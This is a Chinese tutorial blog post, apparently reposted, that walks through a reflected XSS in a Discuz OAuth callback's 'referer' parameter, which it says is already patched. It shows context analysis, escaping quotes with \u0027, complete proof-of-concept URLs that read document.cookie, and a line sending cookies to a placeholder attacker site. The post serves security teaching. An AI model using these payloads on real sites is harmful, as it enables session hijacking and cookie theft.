<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a'; alert(document.cookie);a='';", 3000);</script>
1.在这个样例（如今早已补）中希望大家也要体会到：XSS的上下文比較重要，怎样依据上下文，利用未过滤的字符，合理的构造，才是成功的关键（要有足够猥琐的思路） http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=aaaaaaaaaaa&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4=&oauth_vericode=3738504772×tamp=1354305802 2.这是測试注冊的一个账户，我们去F12看 源代码，第一个思路就是看上下文，在上下文中发现原始的上下文，然后闭合和绕过原来的上下文，源代码之后，ctrl+f 搜索自己能够控制输入的地方（如账号，个人信息等） 3.看到：
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./aaaaaaaaaaa';", 3000);</script>
...
<a href ="http://www.discuz.net/./aaaaaaaaaaa" >
4.两处的上下文都须要 双引號或者单引號的闭合，能够试试 aaaaaaaaaaa" 作为账户名注冊一个 来试试，或者直接字啊URL模拟你和这种信息，看看有没有报错，经过实验，是不行的，是的，不可能给我们留这麽大的漏洞 5.然后我们回头看看第一个是作为函数參数的，setTimeout(可运行脚本,延时时间)函数，也就是说这个函数会把函数的第一个參数作为脚本运行，那我们试下闭合单引號， 在 URL 中 &referfer=aaaaaaaaaaa'&oauth_signature.... 6.可是这里已经被过滤了。变成了window.location.href ='http://www.discuz.net/./aaaaaaaaaaa'';",3000) 这里单引號是行不通的。 7.要相信还是自己的思路不够猥琐，我们看到setTimeout()的第一个參数是字符串，我们前面的教程里说过一次，JS字符串中，字符还能够表示为unicode的形式，即：单引號还能够表示为\u0027或者\x27,呵呵，希望来了吧，还有允许字符的不同编码的闭合方式，lz过滤了\没？ 试试便知, 在URL: &referfer=aaaaaaaaaaa\&oauth_signature.... 结果：
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./aaaaaaaaaaa\';", 3000);</script>
大喜：没有过滤\就是其转义性还能够被client使用 以下还是老思路： 把原来引號里面的单引號都变成\u0027或者\x27
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a\u0027; alert(document.cookie);a=\u0027\u0027;", 3000);</script>
8.在URL： http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027;alert(document.cookie);&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4=&oauth_vericode=3738504772×tamp=1354305802 运行后，直接弹出cookie, 呵呵，还有啥说的，这里的已经是POC了！！！ 9.假设把原来的alert() 换一下，直接指向自已的xss平台就真的Ok了 如 换成 window.location.href='www.attacker-site.com?c='+document.cookie+';' 这样会跳转到还有一个页面，造成载入失效 所以要改进：
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a'.replace(/.+/,/javascript:alert(document.cookie)/.source);//';", 3000);</script>
上面类似于我曾经写的文章点击劫持， 改动client的href代码，相同替换掉单引號，和加号
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//';", 3000);</script>
在URL： http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4=&oauth_vericode=3738504772×tamp=1354305802 这样就不会由于跳转而载入失败了 看这些猥琐的样例中，事实上终于都是嵌套这反射的思想，然后就是依据上下文绕过的思想，熟能生巧，让我们尽情的Xss去吧 这个修复方案就是过滤\ 就Ok了 关于Json XSS （http://blog.csdn.net/l_f0rm4t3d/article/details/23851071） 请看我写过的这篇
转载于:https://www.cnblogs.com/zfyouxi/p/4095075.html
相关资源：数据结构—成绩单生成器
